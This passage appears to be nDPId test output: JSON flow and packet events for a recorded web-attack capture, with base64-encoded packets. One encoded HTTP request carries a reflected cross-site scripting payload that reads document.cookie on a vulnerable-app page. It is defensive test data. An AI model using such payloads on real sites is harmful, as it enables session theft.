HAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":78,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1161,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347103,"pkt_ts_usec":659644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03Y5AAD4G6EmsEAABwKgKMtFQAFAbC8Boc+vuFIAQATk\/hgAAAQEICgE5bLUD4z4s"} +01215{"flow_id":78,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1162,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347103,"pkt_ts_usec":900811,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ93Y9AAD4G5f+sEAABwKgKMtFQAFAbC8Boc+vuFIAYATnsCAAAAQEICgE5bPID4z4sR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdRV0ZHUDA5REdSU0U2UjhUSVRaNUZCVUFNRFlNRDBOQllUNDZEMUFYSk1VSkpZT1k4RiUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02973{"flow_id":78,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1163,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347103,"pkt_ts_usec":904042,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeA5BpAAEAG2HHAqAoyrBAAAQBQ0VBz6+4UGwvCsYAYAQd+XgAAAQEICgPjPmkBOWzySFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjE4OjIzIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOBT\/GaT9Dz6fdMBJxPR2Nw3WZoKWjk6wMVrGOJ0UuYnbGpw4s50W\/vt7dpI2fC1ZkVBx7Pfl8\/yen9\/zm\/Xmb52v7cHl6SGamFig0\/OD414b4W1CLt62CekMOujH0eDkGDW8HdQ3ioeGkMMvGOGJMekeIbPZzJu99aQak8EZubFSGpatGG5rx+NFJsL+m\/U3602n5yYWiW49IqOxu7ubs+bka80JoxEM19aaMTMUWZZt9jPj0xZuy8SwxGwPblOGUZh\/tbBhN4ZYER9QOKFKM9M6H3S332NEcplrTcONYP73TCRM0SEX3NzuoTM2Eiw0LEJtJbVGfW4Y6oeKp4YnY7T5o9\/fQnt7qEPjBJW8gqELNkT7aSp4SA2XCdrsfL\/Y30LThtfYQX922JQJmcYA7c8myRUXKARPrpFiooW1uRVMTxgzGBmwpjAi1BqjiWKjFvY8An\/RdEbtLIkpTzy3TB5K47AVpZz\/eEzHjMDUXUkjOrVknluYy9DO2iqEKzql+SxGWoV3gFxp9\/8UFHhXGvtNklMWniOF6+x4KKNbFAqqrddlzHDu0ohPEY9a2PoOLGKq8HplyQqpzK81eTx+gMQZqYmQY+mlyRgjKiAQljhqYTdgBXUPVNtNDsBxWUX7g7UgpVHEotwgIMhEaaddPRAyvLZbIziSSQiqr1t4xpNIzjxYcjhaG7kl3gYuWYGB3nGXh\/0j2LYmobDLgvvrLxHIEzh9WWintJdO0mfk3yfFfq8yU08tHLgsXaJvToP9vh0iAscPJlHnoKKMZMJfYUOnlfPNITyGKjOMPIPqcQbsH9j\/qCtVWNMD9wWyGxbWAeDosd+WcUyTCPWSK+Y8shqKUKtRHRSOHlD0z7qrKR5x4n1M4ai2OHBmEVsSJS\/ix36Xw+Hu2Rm98t5kqZA0qrM7BUcB49x9regfmhq4uWq5qGBx55aFmWKovX86aB\/trwZF\/xS8Dg5HD2f62\/FrBauVGAzhcqvllArXPTRo88BOb62GasbodcBrQSpZsH8BI9Rn2kYr6nVqptf7cm+0DmoByRmwD\/UM1CpfT1bcCitOVfRrlldRL8KhShzz4usV0Oi6u6FLFH0j1V0IK15B7ixCdbn0OlyQYd\/WjxAf+VS97QB+nozkEnUVKuyfHp3C6RjJeoroUGZmiZo5Dfb37fD1ttUWekvVL4iwf+zG9wAUFdud2u\/pQtCWsItCEDoZu1rotmvVQrA5afxKdwElc6MomCvCp\/MKNghlxAKqGC3q55FUMUpoDNU68EPZ61JcC\/+OEXRLEwnYPx0Oitq0mRYWX0yo2dDoVmbKMX8sK+skzarFPy5E2995fVsl0tkw5kA2pSKDz37+WWgjqZ83FcSizPGmivlHTAiJilbDh8pfS8HAw+PNjW8X3U+nO7udT2f9w3dn7we9wb\/\/dA\/O9086lyednS8Hl4O\/33Ua+z8+n5x\/\/nz59fJ9d2PrQ1VCJMPMdlpeKOU1Z1sf5i0JwFHMuWbh4ebkL\/8EDrwLfxXT\/LKCSbtWxAdE4yKubPOpi4ZVzqhOXc8KIcpubJgR59ltDZ4N5p4NnGehHaNqDJ0ohluJJtfY\/3VZ8yiujQ+4A6hSDFPBIbR1YG7Qhv7KBP2i9ayJ8Xl5y3GyxJvxa56yiFMn2n5VLdel5U9je7mM5\/EUZoZjPk\/GoYzt9bA9oj899yTxKIgXML5Ic46TCqZMw0l4Vt0D6qqOIrvloV52rkMF\/W7+W6awJ1JekXdCwaian+bH8qK+1YbFgb1LHs0Pw8wY22cX+eE7ZzMExz+d5+xUplkalGQyaedZf\/HosAcU5+kmeuK2n4LEYAISbTh+BEiupvijdERLyNkG2sI+WgqrD8kwZK8LTDuZS6HZ3aSCjyFvCzaC\/NlksX+umbJ5d69J4AvRKOZJ4UL4LosDdGxflwoakLiggFu91+kXKxHX9vqISi8+6dCRlObOY0vqr\/LalT52rVYTMLEXZ\/4u6F7s\/P8BEiLDw5IUAAA="} +00432{"flow_id":79,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1165,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347104,"pkt_ts_usec":640486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gi5AAD4GQ6qsEAABwKgKMtFeAFA\/7+XGnOZdfYARAOVg+wAAAQEICgE5basD4zlg"} +00432{"flow_id":79,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347104,"pkt_ts_usec":640704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0YlxAAEAGYXzAqAoyrBAAAQBQ0V6c5l19P+\/lx4ARAONbOwAAAQEICgPjPyEBOW2r"} +00432{"flow_id":79,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347104,"pkt_ts_usec":641436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gi9AAD4GQ6msEAABwKgKMtFeAFA\/7+XHnOZdfoAQAOVbOQAAAQEICgE5basD4z8h"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1171,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_first_seen":1499347105154,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53664,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":82,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347105,"pkt_ts_usec":154035,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eX9AAD4GTFGsEAABwKgKMtGgAFC6fhdUAAAAAKACchBL3AAAAgQFtAQCCAoBOW4rAAAAAAEDAwc="} +00443{"flow_id":82,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347105,"pkt_ts_usec":154168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0aA4hAGdun4XVaAScSDPFAAAAgQFtAQCCAoD4z+iATluKwEDAwc="} +00431{"flow_id":82,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347105,"pkt_ts_usec":154904,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eYBAAD4GTFisEAABwKgKMtGgAFC6fhdVOIQBnoAQAOVuHAAAAQEICgE5bisD4z+i"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1180,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1499347106438,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53678,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":438309,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8kWRAAD4GNGysEAABwKgKMtGuAFDha\/4IAAAAAKACchA86wAAAgQFtAQCCAoBOW9sAAAAAAEDAwc="} +00443{"flow_id":83,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":438413,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0a4RPd924Wv+CaAScSAIUAAAAgQFtAQCCAoD40DjATlvbAEDAwc="} +00432{"flow_id":83,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":439208,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kWVAAD4GNHOsEAABwKgKMtGuAFDha\/4JET3fd4AQAOWnVwAAAQEICgE5b2wD40Dj"} +00431{"flow_id":80,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1186,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":641409,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HlJAAD4Gp4asEAABwKgKMtF4AFDPTHQ8whiLb4ARAOXrcwAAAQEICgE5b58D4zvi"} +00431{"flow_id":80,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1187,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":641632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ynpAAEAG+V3AqAoyrBAAAQBQ0XjCGItvz0x0PYARAOPmQQAAAQEICgPjQRUBOW+f"} +00431{"flow_id":80,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1188,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347106,"pkt_ts_usec":642382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HlNAAD4Gp4WsEAABwKgKMtF4AFDPTHQ9whiLcIAQAOXmPwAAAQEICgE5b58D40EV"} +00431{"flow_id":81,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":641235,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uyBAAD4GCrisEAABwKgKMtGGAFBKzdCyBp+dBoARAOW7FAAAAQEICgE5cJkD4z0l"} +00431{"flow_id":81,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1193,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":641480,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA03wlAAEAG5M7AqAoyrBAAAQBQ0YYGn50GSs3Qs4ARAOO2KwAAAQEICgPjQg8BOXCZ"} +00431{"flow_id":81,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1194,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":642215,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uyFAAD4GCresEAABwKgKMtGGAFBKzdCzBp+dB4AQAOW2KQAAAQEICgE5cJkD40IP"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1195,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1499347107719,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53692,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":719375,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GMdAAD4GrQmsEAABwKgKMtG8AFANSWhrAAAAAKACchClXQAAAgQFtAQCCAoBOXCsAAAAAAEDAwc="} +00443{"flow_id":84,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":719520,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0byrN2AMDUlobKAScSBU8gAAAgQFtAQCCAoD40IjATlwrAEDAwc="} +00431{"flow_id":84,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347107,"pkt_ts_usec":720082,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GMhAAD4GrRCsEAABwKgKMtG8AFANSWhsqzdgDYAQAOXz+AAAAQEICgE5cK0D40Ij"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1499347035750,"flow_last_seen":1499347041619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52938,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1499347035750,"flow_last_seen":1499347041619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52938,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1499347038276,"flow_last_seen":1499347043619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52964,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":6,"flow_first_seen":1499347038276,"flow_last_seen":1499347043619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52964,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":6,"flow_first_seen":1499347039587,"flow_last_seen":1499347044619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52978,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":6,"flow_first_seen":1499347039587,"flow_last_seen":1499347044619,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52978,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1499347042150,"flow_last_seen":1499347047620,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53004,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":6,"flow_first_seen":1499347042150,"flow_last_seen":1499347047620,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53004,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1499347043416,"flow_last_seen":1499347048620,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53018,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1207,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":6,"flow_first_seen":1499347043416,"flow_last_seen":1499347048620,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53018,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1210,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1499347110266,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":266521,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8u39AAD4GClGsEAABwKgKMtHWAFDeH8hWAAAAAKACchByBAAAAgQFtAQCCAoBOXMpAAAAAAEDAwc="} +00444{"flow_id":85,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1211,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":266648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0dbJG1vv3h\/IV6AScSAFVQAAAgQFtAQCCAoD40SgATlzKQEDAwc="} +00431{"flow_id":85,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347110,"pkt_ts_usec":267334,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0u4BAAD4GClisEAABwKgKMtHWAFDeH8hXyRtb8IAQAOWkXAAAAQEICgE5cykD40Sg"} 